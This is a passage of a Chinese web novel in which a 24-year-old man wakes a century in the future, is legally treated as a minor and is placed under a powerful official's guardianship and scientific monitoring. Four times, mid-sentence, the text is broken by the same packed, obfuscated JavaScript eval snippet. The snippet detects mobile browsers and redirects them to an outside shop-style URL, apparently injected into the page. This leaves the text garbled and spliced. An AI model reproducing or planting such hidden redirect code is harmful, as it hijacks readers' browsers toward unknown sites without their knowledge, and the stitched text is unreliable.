无法达成共识,好不容易商量出来的结果前功尽弃,有几位年纪大一些的被气得想直接走人。 又是一轮拉锯。 游今洄看了一眼名单,只眼熟其中一个名字,心中了然,继续看监控。 投影吵吵闹闹,房间其他三人窃窃私语,烦人得很。 心理医生说感到烦躁可以通过养宠物缓解,有一定道理。 陈寄言在自己做饭,关掉明火,用巴掌大的小碗盛了一勺,让尼可帮忙试毒。 不挑食的白面馒头吃得很干净,陈寄言放心,自己开吃。 然后表情变得十分精彩,经过一番异常艰难的吞咽,总算跟食物搏斗成功,一大杯凉水下肚,回头发现锅里只剩下一只晕倒的白色毛绒物体。 接着是兵荒马乱的求救,系统检测只是吃得太撑睡着,没有食物中毒。 “执政官?” “讨价还价有结果了?” “他们要求新增一位,第13位议员必须出自默港,且拥有同样的投票权,即刻上任。” “还有呢。” “还有,他们需要酊枢分配十三分之一的资源过去……” “老东西都同意?” “目前是6:6平,所以在进行下一轮,您的建议是?” “告诉他们,晶源仅供给酊枢,这是底线。” 游今洄作为执政官,唯一的特权在晶源的分配和管制。 这一职能并非首席执政官专属,而是他掌握了这项权利,才被推举成为首席。 醉翁之意不在酒,要想增加议员是真,想要酊枢资源,才是他们核心目的。 十几年前桑夏恩被炸毁时,他们派出的代表早有提过,那次被议会全体驳回,有些东西年纪大了耳根子软,底下蛀虫又多,难免动歪心思。 酊枢已经满足不了他们的胃口,目光盯向别处。 6:6,有意思。 参会方式已经很能表明态度,既然来到这里的7个已经达成共识,那么是谁临时反水? 何利第一个反对。 “增设议员位,是之前的提案,默港的要求并不过分。” “那不如之后蔓都和哀什也各挑人备选,有好大家分,不是更公平?”司闵讥讽道。 人类社会重建不过几十年,能够达到如今繁荣且稳定的情况,全因为酊枢的绝对主权,这也是社会的共识。 “我觉得他们也要的太多,狮子大开口,其实都可以谈嘛,比如让他们定期派遣学者过来交流,我们也给到一定的技术支持……” “你说的也合理,” 看见平时总冷面相对的执政官破天荒认可了他的发言,青年半信半疑。 “你真的这么认为?” “比白送的方案好。” “不过诸位似乎都忘了一件事,酊枢资源由我调配,我说了,仅供给酊枢。” 这话他上任的时候说一次。 “希望没有第三次。” 此话一出,众人哑然。 “我代表军方支持执政官的决定。” 刚才还在针锋相对的苏怀信此刻却表示赞同。 小会议室气氛微妙,另一头大会议室有了结果。 “长官,商议结果出来了,默港同意仅增设第13位议员。”秘书面色为难地看了其他人。 “以及,他们想要跟您通话。” “议员们都离开了,请您直接过去。” 偌大的会议室空空荡荡,游今洄没有挑选位子,站在门口跟对面聊天。 “好久不见,执政官。” “半分钟时间,别说废话。” 摄像头下,罪魁祸首一边清理现场,一边抱着根法棍苦大仇深地啃。 “代我向那个孩子问好,陈寄言,不错的名字。” 他顺手捞了个东西砸过去,投影变得模糊,对面传来的温和笑声也断断续续,格外诡异。 陈寄言试图用最快的方式了解自己身处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772047|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个世界。 他先输入未成年保护法,实在太好奇了,24岁已经成年得不能再成年,大学也毕业了,都工作两年多,在这里竟然不算成年,难道人类的寿命又延长吗? “12岁前是儿童,到24岁之前都是青少年,因为FS物质的干扰24岁之前人的大脑并没有发育完全,说的通。” 他又输入游今洄的名字,跳出来的信息不多,官方介绍只有短短两行字。 “财管署,执政官,首席,29岁。” “大官,挺好。” 下面全是对他的评论,褒贬不一,不过无一例外,都对他的性格进行强烈抨击。 年少有为,倒也正常,不过其中有一篇很吸引陈寄言注意力。 “论某执政官的成名史?” 写的很隐晦,可能因为他用的青少年保护版,很多词语都被审核毙掉,总之就是游今洄各种不正当上位手段(包括身体),还有一些见不得人的交易。 好刺激,好精彩。虽然知道百分之九十是假的,他也看的津津有味。 一不留神就忘记时间,系统没有提醒,直接强制下线。 “系统显示,你心律不齐。” 这要他怎么解释?不好意思看造谣你的h文甚至还是清水版的但因描写过于香艳刺激所以一个不小心太激动导致晕倒? “所以调了你的浏览记录。” ???不是有未成年保护法吗? 他没有隐私的吗!!! “所以是真的吗?” 他脑子一热,问完恨不得满地找地洞想钻进去。 “你说呢?” “对不起执政官大人,这些都是造谣,诽谤,我不会信的,再也不看了。”口是心非,成年人看点□□信息怎么了,又不犯法。 更何况看的还是阉割版本,写得暧昧不清,一个露骨的词都没有。 “你知道的,我刚醒来,未成年人好奇心旺盛容易被外界信息干扰也是很正常的。” 陈寄言搬出了知名万用句式,他还只是个孩子,不要跟小孩一般计较。 尊严什么的,活过今天再要。 游今洄看上去很好说话的样子,仿佛一个开明宽容的家长。 但即便语气如此平和地说一些不过是小事这样的话,陈寄言也很难相信他是一个善良的人,能当上首席的人一定不简单。 陈寄言试图给自己脱罪,他只是一个刚刚苏醒的对外界没有任何防备的单纯善良的未成年罢了。 “也有一些不假。” “比如?” “我确实有这个资本。” 陈寄言下意识看向他的腹部。 外套里面是黑色紧身的布料,轮廓清晰可见,有腹肌,且八块。 “摸够了吗?” 头上飘来凉凉的一句。 啊,原来不由自主地上手了。 “我现在装晕倒然后表演醒来失忆是否行得通?” 这个方案立刻被系统否决。 “不行哦,系统是能够测谎的,而且刚刚你一边说‘真的吗我不信’然后对监护人上下其手的事情,我已经录像了。” “录,像?”他有点想死了。 “是为了增进您与监护人亲情,促进和谐友好交流,保留美好回忆推出的新功能呢,之前您睡着一直没什么素材。” “这个权限禁掉。” “不可以哟,”小E欢快婉拒。 “为什么。”陈寄言咬牙切齿,脑袋被气得发昏。 “需要监护人一起决定是否禁用哦。” 以某人的恶趣味,禁用是不可能的。 8. 饲养手册 “怎么回事,突然晕过去,一点预兆都没有。” 陈寄言睡眠已经超过24小时,并且怎么都叫不醒。 据说八岁领养时也是这样,眼睛一闭,不知道又要昏睡多久。 明明昨天还活蹦乱跳。 “数据跟植物人时期一致,只是太累睡着了,”赵霖做完初步检查,还要安抚家长。 “呼吸频率低,心跳微弱,初步鉴定重回植物人时期,并未脑死亡。” “什么时候醒?” “我们计算他每天精力维持在8-10小时范围内,其余时间身体进入休眠,根据最近一周的数据分析,已经逐渐稳定在9.5小时左右,样本太少,还需持续观察。” “什么时候的出来的结论。” “前期记录的一些数据,因为没有临床试验所以还没有上传,只有纸质版本。” “拿过来。” 《濒危物种观察记录手册》 “暂时没有备份,您不能” “归我了。” 他顺手改了名字,记录手册,太官方,陈寄言又不是什么实验样本。 濒危物种饲养手册。 但也不敢当着执政官的面说,游今洄一如既往强势,他也省的跟院长交待。 陈寄言并不是睡着,说是昏迷更贴切,他感觉有一群人在自己周围说话,只是听不清内容。 终于迷迷糊糊睁开眼,对上雪白的天花板,还有一堆尖锐精密的仪器。 太精彩了,每天睁开眼就有不一样的新环境等着他,一天天过的像拆盲盒似的。 他昨天只不过是蹲太久站起来急了一点,头晕目眩是正常的,一睡不醒是怎么回事? 刚关心完自己心律不齐,接着就被送研究所了。 陈寄言有气无力,彻底放弃挣扎。 虽然没有来过这里,但身体竟然意外地熟悉周围的环境,甚至连床倾斜的角度都正好。 之前说的,他躺了十几年的地方,研究所最大的房间,恒脉实验室。 比起游今洄四百多平方的大平层,这里毫不逊色,布置更加简洁,家具几乎没有,不过窗帘床单等都是米白色,床头柜还有一束鲜切花,窗外庭院中有一颗目测需要三人合围的大树,增添几分生机勃勃的味道。 简单来说,更适合人住。 “这些人似乎是来审判我的。” 说是审判,其实不太贴切,他们的表情没有那么严肃,甚至有两个青年眼睛发亮,嘴角尽力扯平,仍旧掩盖不住他们内心的激动。 “他们在兴奋,激动什么?” 陈寄言感到困扰。 已经不能用冒犯来解释了,他觉得这几个研究员眼冒精光的样子恨不得吃了他。 “好了,开始吧。” 为首的人一声令下,他们就像早有准备等着超市打折去抢好食材的顾客,个个像饿久的狼一样眼冒绿光,八点一过去,准时开抢。 陈寄言觉得自己是一条肉质肥美的鱼,等着他们对自己各部位进行拆解。 这些顾客熟练地摆弄仪器工具,嘴里还念念有词,似乎是在商量怎么瓜分。 “品相不错,皮肤细腻。” “很正统的琥珀色,毛发深黑茂密,” “四肢修长,骨肉匀称。” “恭喜您,陈先生非常健康。” 你们这种要剥皮拆骨的架势,竟然只是体检吗?以后这种活动他能不能不参加,至少不要在自己有意识的时候进行。 与此同时监护人一直在旁边盯着,陈寄言觉得自己毫无隐私可言。 还不如继续晕着,挣扎无果,自暴自弃,他甚至开始苦中作乐,欣赏起反光仪器里他们工作的样子。 身上除了一条一米来宽的蓝布,衣物全部被褪去,这个身体比例跟自己从前的很像,只是要更加瘦弱一些,肤色也更加白。虽然平常大部分时间都是待在办公室,不过他的工位在下午两三点时刚好对着太阳,这个身体显然是常年待在隔绝一切外界干扰的监护室,靠着仪器和营养液维持生命,细皮嫩肉的,面色可以说是苍白。 研究员脸上全是对工作的热情,完全没有任何窥探他人隐私的龌龊想法,大概陈寄言在他们眼里只是给特殊的实验品,或许都没有被划入人的范畴。 这种态度让他稍微好受了点,在恼怒和羞耻之间达到一个微妙的平衡。 “我们在你身上没有检测到任何抗性,不过这并非先例,毕竟人类进化的方向并非单向,或许你的天赋点在别的地方,比如超凡的记忆力之类,据您的监护人说,您认为自己来自另一个世界?” “换一个说法,另一个时代?” “或许是神经元太过活跃,有或许是神明留下的启示,总之,不用担心,研究所收容所有另类的人才。” 光是他死而复生这件事就值得他们研究很多年。 他没明说,陈寄言知道特指的从桑夏恩出来的孩子。那样大的开放性质的试验基地,跟恒脉有着相似之处,二者之间一定有紧密的合作。 并不是他该操心的事,陈寄言只关心自己的身体。 “一般这样的情况只会在未成年中出现,而成年后仍然没有抗性的,被列为濒危物种。” 陈寄言欲言又止,研究员善解人意地替他解惑。 “我知道您想要问为什么,很遗憾,目前没有合理的解释,我们也已经将这个课题列为重点项目进行研究,您的存在对研究所有着无与伦比的重大意义。” “恭喜你,十年来第一例成功醒来,且有完整的自我意识,同时也将成为我们重点关照的对象。” 陈寄言抓住关键词“重点关注?” “是的,我们会定期回访,您的日常数据经过监护人同意后,也会同步传输到研究所。” “我怎么感觉,你对我最热情?”而这个研究员明显年轻,工具操作不如其他人娴熟,不是领导的样子。 “对于我们而言,每个生命都非常珍贵,濒危物种异常稀有,再怎么小心都不为过。” 他给出了官方标准回答,然后又非常激动地抓着陈寄言的双手,“而且您是我毕业论文选定的课题,还好您在我毕业前醒来了,不然我就得被迫换方向,您真是太好了!” “哈?”他脑袋宕机。 “真的!师兄师姐们已经被创新点折磨疯了,甚至连您的指甲生长速度都当作创新点做曲线研究,我甚至以为自己毕不了业……” 不用说了,他也是写过论文的,他懂。 “但是我建议你换方向,真心的。”终于夺回身体控制权,他硬拔回自己的手。 他不可能一直当提供数据的实验体。 陈寄言非常诚恳,奈何他已经沉浸在新数据里,完全听不进去。 过去二十多年的人生里,陈寄言没有被这样对待过。那个时代哪里都不缺人,从小到大一直都被迫参与竞争,不断被贬低,打压,被榨干所有剩余价值却无人反抗。 未来人成了稀缺资源,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772048|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下这种被当作猴子要被关进动物园被参观的感觉,又是另一种意义上的歧视。嘴上说的再天花乱坠,目光却掩饰不住的贪婪与狂热,好像恨不得一口把他吞下去。 后者更加令人感到不适。 因为只有他是这么被对待的,明明有着相似的面容,是同一个种族,却并非同类。 他很难找到归属感。 虽然表现出礼貌客气友好,陈寄言很难对熟练操作仪器的研究员生出任何好感。 对比下来,脸上没什么表情的新监护人都顺眼很多。 “我以后每周都要来?” “按理来说是这样的,不过您的数据24小时都被监测,之后常规检查由您的监护人来,操作流程已经导入你们双方的系统。” 明白,自己已经毫无隐私可言了,一个人检查总比被一群人围观要好,陈寄言苦中作乐。 “最后还有一件事。” “您是否还记得,桑夏恩之前的事?” 范围很笼统,可以是被盗之后的,也可以是被关在研究所时候的,也可能问的是他八岁前的记忆。 “没有印象。” “好的,祝您身体健康。” “你不好奇吗?” 这可是穿越,听刚才研究员的口吻,现在的技术并不能实现穿越时空。 虽然对方已经委婉用精神疾病来解释,但陈寄言还算想要知道穿越的概念在这里是否有过研究。 “我是生命科学系的,时空并不是我的课题,或许您应该找专业人士询问。” “去哪里找?” “目前还是没有成为体系的学科,只有少数人在探索。” 什么意思,耍他很好玩吗? 在对方说完“我也可以介绍好的心理医生……”之前,这位过分热情的研究员被陈寄言请出门。 游今洄不知道在观察室等了多久,他换上外套,自觉跟着监护人离开。 “这里的空气一定有安眠药。”不然怎么随时随地都想睡觉。 “自己身体不好,别怪空气。” “真不好意思摊上我这个大麻烦,不过现在关系绑定也不能退货,这边给您补偿五元可以吗?” 游今洄的回应是用略带担忧的眼神看了下他的脑袋,随后认命般道:“没关系,不麻烦。” 然后就不再理他,低头翻阅研究所传来的检查注意事项以及仪器使用维护方法。竟然有足足五十页,比未成年保护法和收养手续加起来还要长。 这场景陈寄言熟,同事在路边零元购一只白毛加菲,带回去检查发现疫苗驱虫吃药要一两万,也是这么叹气的。 他这么大费周章把自己找回来,应该不会弃养吧? 陈寄言无所事事躺在床上昏昏欲睡,不知道怎么灵光一闪想到这个,紧急让系统差酊枢的法律,弃养罪判刑很重,放心地继续躺平。 睡不着,他还是没办法坦然接受自己回不去的事实。 在这里不认识任何人,还要被迫成为濒危物种被人研究观赏,以及,虽然过去上班总是念叨着要死,但如果眼睛一睁一闭,发现一切只是加班昏倒过去的臆想, 没想到有朝一日会开始怀念上班。 头很痛,像要裂开成两半,一半声音说: “为这点事就去死吗?” 另一半反问:“为这点事就活着吗?” 停!停!不要再胡思乱想了! 现在思考这个问题根本没有意义,只会让人发疯。 9. 荣升废物 就这样,经过一系列检测和复杂的手续之后,陈寄言在新历拥有了合法的公民身份,荣升为一级保护废物。 因为过于脆皮且稀有,被当成大熊猫一样严格监管。 童年时无厘头的幻想居然成真了,虽然是以完全意想不到的方式。 陈寄言悲哀地发现,未成年甚至没有自由搭乘公共交通的权限。去哪里都要跟监护人报备,等人安排接送。 “我觉得这不合理。”他要捍卫自己作为公民的基本权力。 “应你的要求,我已经尽量减少查看系统次数。”相当大的让步,执政官生涯中屈指可数的一次妥协。 是啊,因为在你的淫威之下每天晚上小E都会把他的身体数值做成报告发你一份! 太没人权了这个世界。 “酊枢规矩多,忍一忍。” 如果不是为了应付议会,也不至于被迫在酊枢过夜。 “?”我说的是地方吗?我说的是人! “收拾下,后天回蔓都。”说完,觉得自己语气过于生硬,命令似的,又补道,“你会喜欢的地方。” 有阳光,植物,好天气。 很适合养孩子的地方。 核心诉求没能得到解决,陈寄言只好将注意力转移到其他地方,比如蔓都。 他以为酊枢是经济政治中心,类似于一个国家的首都一样,但显然,这里并没有国家的概念,更没有首都的说法。 按照系统给的解释,酊枢更像是机械运转的核心,所有能源都汇集到这里,再像心脏一样运输到各地。昼夜不停。 像游今洄这样有身份的人,酊枢的配套平层只是将就,加班时暂时歇脚的地方,但凡有一点社会地位或者足够多的财富,都会在酊枢外的郊区,群山环绕,绿意盎然的地方拥有一栋别墅。 大大小小的别墅错落有致,又阶级分明。 这个同时有权贵和普通居民生活的地方,叫做蔓都。 游今洄带他回的地方,与其说是别墅,外观更像是中世纪欧洲贵族的城堡。 设施一应俱全,想来社交宴会,人情往来,都在这里进行。 比起冰冷的人群密度过高的酊枢,这里更加接近权力中心,沾染纸醉金迷的味道。 看的出来有一段时间没使用过,依旧不染尘埃,十分辉煌。 庭院草木深深,比人还要高的灌木丛曲径相连,如果没有人领路,很容易迷失其中。 机器管家给他介绍,这里是游今洄祖辈的财产,老人家去世后久无人居。 面积是无论哪个时代都让人瞠目的,外面看上去,像童话故事中废弃的古堡。但并不阴森,也没有长满荆棘,只是没什么人味,有些静默。 他们最后停在最里面的一处建筑,看起来很新,应该是重新修缮过,光线很好,植物被妥善打理,的确很适合居住。 陈寄言的房间在二楼,没有想象中奢华得过于夸张,干净整洁,他很满意那张两米宽的大床。 几乎所有人默认的准则,时间大于空间,空间会逐渐适应,过长的通勤时间则让人难以忍受,大家都不约而同,租着十几二十平的房间,尽可能将单程通勤控制在一小时内。 作为上世纪的社畜,作为人的生存空间是一直在被挤压的。尤其还要考虑通勤,房租,居住是适度被排在最后。 如果想要住在安静的,不被打扰的房子,那么周边配套必定不能是喧闹的市场,如果想要下班能吃上安静的,看上去整洁的一顿饭,那么一些老旧的楼梯房也要被排除掉,如果希望通勤时间不要太长,那么必不可能住在郊区,总之,衣食住行,总要舍弃掉其中一两项,才能勉强维持日常生活。 在那个社会,时间,空间,甚至阳光都需要付费。 现在的人倒是能够轻易地获取这些,因为人口密度大大降低了。 物质并不匮乏,中央区的甚至可以说非常富足,可社会并不是想象中的乌托邦,人被当作工具一样使用。本质上来说,并没有进步。 精神世界是巨大的空洞,不安笼罩在每个人心头。 这样对比下来,游今洄一身能把人气活的本事,倒显得尤为珍贵,是这里缺少的活人气息。 应该庆幸是他作为自己的监护人吗? 呸呸呸,什么监护人,他都24岁,压根不需要监护人,是这个破地方问题,这里的人都有病! “滴滴,距离上次饮水已超过两小时,请您即使补充水分。” “检测到您已经维持该姿势超过45分钟,建议起身活动。” 陈寄言只好改变坐姿。 “请您起身活动。” 他终于站起来,跟着系统指示做一套看上去很蠢的运动,说是叫做康复训练,在他眼里根老年人体操没有区别。 天,这辈子没活得那么健康,他有点受不了了。 “我的这些数据,都有哪些人能看到?” “监护人,主研究员以及他的副手都有权限。” 现实生活中,大家都很有边界感,不会互相冒犯,可是虚拟世界,每个人接近赤裸,并习以为常。 他住在监护人的房产,如同中世纪古堡一样的巨大建筑,冰冷,空旷,只有窗外的庭院是富有生机的绿色,也不知道是怎么培育出来的,都是他不曾见过的重瓣花朵,粉的白的紫的,交错簇拥,从二楼看下去是一座十分美丽的迷宫。 如果从这一点来判定古堡主人,应该是一位慈祥和蔼的老先生,或者是诗情画意的女士,然后都不是,游今洄,名字挺好听,脸也不错,人却不怎么样。 从初次见面,到这几天拢共不到24小时的相处,陈寄言不觉得他的监护人是什么好东西。 不好的想法已经先入为主,于是看待他的一切都是挑剔的眼光。但是无所谓了,他现在最重要的事情是顺利活到成年。 至于回去,希望渺茫,天方夜谭。 “什么,你说上学?” 好冰冷好陌生的文字。陈寄言果断拒绝,表示自己有自学能力,去学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772049|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校完全没有必要。 说真的,人活着除了上学和上班没有别的选项吗,他不是濒危物种吗,不是需要监护吗,上学这种对心理生理都有严重摧残的危险活动,如此脆皮的他怎么能去! “也好,”推掉了早早请好的专属教师,拒掉了研究送那边递来的几个学院的邀请,游今洄也认为上学是社会化较为温和的形式,一两年没什么成果。最好还是尽快找一份工作让他不至于闲得在家制作毒品。 “还有什么别的要求?” “其实我从小就有一个梦想,”陈寄言满怀希望,表情诚恳真挚,“我想当皇帝。” 都穿越了,监护人还是执政官,他又不杀人放火为所欲为,只是想要不劳而获无功受禄坐享其成,这不过分吧。 孩子没有家长带果然还是会出现问题,眼前这个看似不呆不傻,应该只是疯了。 “没事,明天带你去做心理咨询,会有救的。” 游今洄觉得,自己的耐心史无前例,酊枢蔓都加起来都找不出一个比他更合格的监护人。 他已经消化了陈寄言智商有限的事实,精神上的问题也能坦然接受了。 陈寄言没有读懂这个复杂的眼神,为自己不用再被送去学校欢呼庆幸,不到五秒,系统提示心律过高,接着今日活动时间告罄,下午四点半,他又要睡觉去了。 没有什么比梦见自己重新坐在高考考场,醒来发现面前真的有试卷更恐怖的事。 “不用紧张,顺利的话,我们十几年前就应该见面的。” “司部长?” “好久没听过这个称呼,你叫我老师就行,现在的你不能算作是毕业了。” “可是,”他不想上学,“我的前一位监护人说,我已经通过了考试?” “那是桑夏恩的,你8岁的时候已经不复存在,补考只是一个设定而已,那一年活下来的孩子所剩无几,能醒过来,就当你通过了。” “正常的考核,是怎样的?” “你不会想知道的,基因突变,赌博一样,博一个概率,堵注是命。” “或许你知道控制变量法的实验吗,实验组和对照组,活下来的就成功了。” 陈寄言不明白他在暗示什么,但真正的考核绝对没有他的这么容易。 “你运气不错,游今洄说你已经熟悉现代生活了,不用紧张,一些常识性的测试,看看你需不需要补课。” 系统被禁掉了,陈寄言只能靠自己零零散散接收到的信息开始作答。 问题比较基础,根据现有的记忆填了七七八八,最后剩下一个职业规划,陈寄言在混吃等死和全职养老之间,选择了继承家业这个听起来稍微体面点的说法。 “结果三个工作日内邮箱告知,未来合作愉快。” 为什么要说合作愉快?难道还是逃脱不了被送去学校的命运吗。 “你答应过我的,不去上学。” 保险起见,要留下文字记录作为证据,谁知道口头承诺算不算数。 10. 清明落雨 “看起来心智健全,只是缺乏一些常识,安排去做志愿者怎么样,我的判断是不需要上学。” 司闵不情不愿被拉过来加班,因为上司家里多出来的未成年。 “拜托长官,这是你家小孩,为什么要扔给我?”而且还没有加班费。 “我只是教育局的吉祥物,何德何能教导你的继承人。”虽然能看游今洄的笑话很有诱惑力,但别人家的私事他真没兴趣参与。 游今洄不带商量地定好这件事,“只是通知,如果你觉得工作太清闲,我也可以帮忙调整。” 谁不知道教育局是纯领工资的职能岗,塞不下的关系户全在司闵手下,酊枢对这个部门要求不高,不闹事,无功无过就行。 “叔叔阿姨不管吗?我记得当时是你父亲非要领养他的吧?” “不过陈寄言记在你名下,怎么算,三世同堂?还有,你准备什么时候让他见你父母?” “完全不具有攻击性。” 攻击性?研究所不是说这是个要供起来的吗,能有什么攻击性? “我让你来,没看出点别的什么?” “唔,你家小孩,继承人!你的继承人!” “他好像不太高兴?” “怎么办。” 刚来的时候是很高兴的,住了两天,又不高兴了。 所以你其实是怕叔叔阿姨问罪吧。 他没敢说,怕走不出执政官家的大门就被杀人灭口。 “其实我也不明白,你当初为什么非要让他记在你名下,你母亲虽然忙,但一定能抽出时间照顾,还有你父亲,虽然不靠谱了点,胜在空闲时间多,哪个都比你更合适。” 四个人中,游今洄最年轻,居然是最早开始养孩子那个,其余两位虽然英年早婚,子女方面却完全没动静,至于司闵,孤家寡人,乐得自在。 “在眼皮子底下差点被拐跑,一个事业狂,一个二世祖,都不靠谱。”执政官毫不客气点评自己父母。 那倒也是。 司闵心里表示赞同,说来也巧,他们几个,除了何利是书香门第正经教养出来的,剩下都没遇上什么靠谱的长辈。 游今洄虽然父母形同虚设,但已经算是家庭和谐圆满的典范。 “那他怎么叫你,叔叔?哥哥?义父?” “职务或者全名。” “那你怎么叫他的?” “名字。” 真是开了眼了,亲人处成上下级,放在游今洄身上,倒也正常。 军部出身的游亭都能偶尔流露出几分温情,是否真心另说,至少进了议会之后游女士的风评好了许多,游今洄就像个机器,完全没有正常人该有的七情六欲。 “看看,这就是症结所在,你们又不是上下属关系。” “我只会处理上下属关系。” 少死鸭子嘴硬,真不关心人家叫自己来干嘛,司闵趁机站在道德高点对上司指指点点: “不怪人家要抑郁,每周一次例会要跟你共处一室超过十分钟我压力已经很大了,更何况他跟你住在一起。” “不住一起。”游今洄更正,大多数时间,他在酊枢歇脚,只是定时定点过来检查陈寄言的情况。 “有区别吗,正常一点的人类跟你在一起久了都抑郁。” “我请你来,不是批评我的。” 司闵见好就收。 他们间的对话,陈寄言当然不知道,也不关心。 虽然已经接受自己来到一百年后的事实,他得知自己可以安心当一段时间米虫后,对整个世界的好奇心都没那么强,这里本来也不是他的世界。 趁着记忆还算清晰,陈寄言迫切想留下点什么,以免之后自己或许会忘记。 比如,他工资卡里的余额好不容易快要到六位数,这个目标现在看来遥遥无期。 再比如,本来再坚持一下,就熬到清明带薪假期了,为什么偏偏是这个节骨眼上过来呢,为什么不能早几天或者晚几天呢? 当然他对三天清明假期没有任何安排,每天在出租屋睡到自然醒,微信没有同事领导找麻烦,钉钉也没有任何突发的会议,简直就是理想中的完美假期了。 他不知道这里的日期是按照什么规律计算,小E给出的解释是,纪念人类新生,每一天都是崭新的充满希望的日子,并且不会重蹈覆辙,于是仅用数字记录。 陈寄言对此保留意见,尽管他历史不好,也知道,人类从古至今都在重蹈覆辙。没有例外。 除去新历可以参考时间,现在依旧沿用的工作日算法,只不过他暂时既不需要上学,也不需要上班,周几对他来说意义不大。 百无聊赖中,在一堆系统检索来的古代记时法则中,算出现在应该是一年的春天,3月份或者4月份。 没有任何科学依据,纯属主观猜测。 “通过记录观察,上周六,也就是新历7935,昼夜等长,符合您的要求,已标记为春分。” 今天新历7941,陈寄言回忆小时候背过的节气歌,一周过后,应该就是清明。 “未来一周有下雨天吗,不看酊枢。”酊枢10天有9天是下雨。 “没有,未来一周都是晴天。” 那就暂定7950是清明。 再次遇见游今洄,距离上次见面,已经小半个月过去。 并不是刻意躲避,执政官事务繁忙,陈寄言每天体力有上限,基本保持了日落而息的生活习惯,所以时间总对不上。 游今洄在蔓都度过的时间集中在深夜和凌晨。 在房间后一个两颗树下晒太阳的陈寄言还以为自己出现幻觉,系统显示非工作日,周六,新历7949。 对他不带外套仅铺一层薄毯就躺在草地上的行为,游今洄的反应是皱眉。 “不要生病。” “你不懂,我在进行人类必须的光合作用。” 人类必须的一日三餐,人类必须的娱乐活动,人类必须的…… 游今洄把他口中的人类等同于另一个物种。 “阴天的光合作用?” “刚才还是大太阳。” 他收拾收拾起身,一件过于宽松的外套罩在头顶,这感觉难以形容,酊枢潮湿凛冽的风,包裹着的竟然是咖啡、皮革和香草的味道,一股说不出的暖意萦绕周身。 “谢谢。” 似乎没想到他会道谢,游今洄脸上划过一丝不自然,这点生动的表情还未被捕捉到就立刻收回,公事公办道: “可以不去上学,但家里不养废,不养闲人,你必须自食其力。” 陈寄言点头表示同意,他毕竟是个成年人,生理心理上都是。 “如果一直没有结果,你还要坚持吗?” 陈寄言无所事事的日子,不仅在接受新历知识,同时也在查找旧时代的蛛丝马迹,可惜寥寥无几。 所有人都认为这是他的臆想。 “我睡了十几年,你不也没有把我丢出去?”陈寄言只是想要氛围没有那么严肃沉重。 短暂的相处,虽然没到推心置腹,他也能够看清,游今洄这个人,虽然自私冷漠,不尊重人,斤斤计较,说话难听,但还算有责任心。当然如果能尊重他的隐私就更好了。 “你坚信某些事情,我也坚信,各有各的追求,不理解的话,互不干扰就好。”同在一个屋檐下,虽然不至于像真的家人一样相亲相爱,但能相安无事就已经足够。 “坚信的东西,比如?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772050|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈寄言以为问的后者。 他淡然一笑,摸摸微凉的鼻尖,仰头看着天空: “比如,清明一定会下雨。” 几千年来,都是这样,他相信一百年后也不会改变。 游今洄没有得到想要的答案,一哂: “天气预报蔓都一整周都是艳阳天,你应该在酊枢的时候说,百分之八十可能会成真。” 艳阳天刚说出口,树干上多了一些深色的痕迹,是雨丝。 他于是也抬头看,雨水恰好落到他的眼睛里。 “那不一样。” 陈寄言暗自得意,但他不想表现出来,那样显得自己太不成熟稳重,强忍着嘴角,只弯起一点点弧度,好显得自己运筹帷幄料事如神。 游今洄轻摸微凉的鼻尖,雨里夹杂着植物和泥土的味道,跟酊枢落下的雨水很不一样。 “你是对的。” 他从台阶上下来,上半身微微前倾,仔细观察这个人。陈寄言很少露出这种轻松欢快的表情,总是警惕的,张牙舞爪的,消极抵抗外界一切信息。 像他小时候碰见的流浪猫,其实他懂得如何收起爪子,不去伤人,只是需要一点耐心,打消他的顾虑,排除不安全因素,平等的展现善意。他会愿意露出柔软的爪垫。 就像现在一样,都会跟大人撒娇了。 预报将持续半个月的晴日,终于还是在陈寄言殷切期盼下,落下了第一场春雨。 雨丝是软的,温温凉凉。 蔓都的空气比不上桑夏恩,与酊枢动不动就上90的FS浓度相比,日常在20-40波动的空气堪称清新。 他的身体指数还停留在0没有长进,不能跟雨水接触太久。 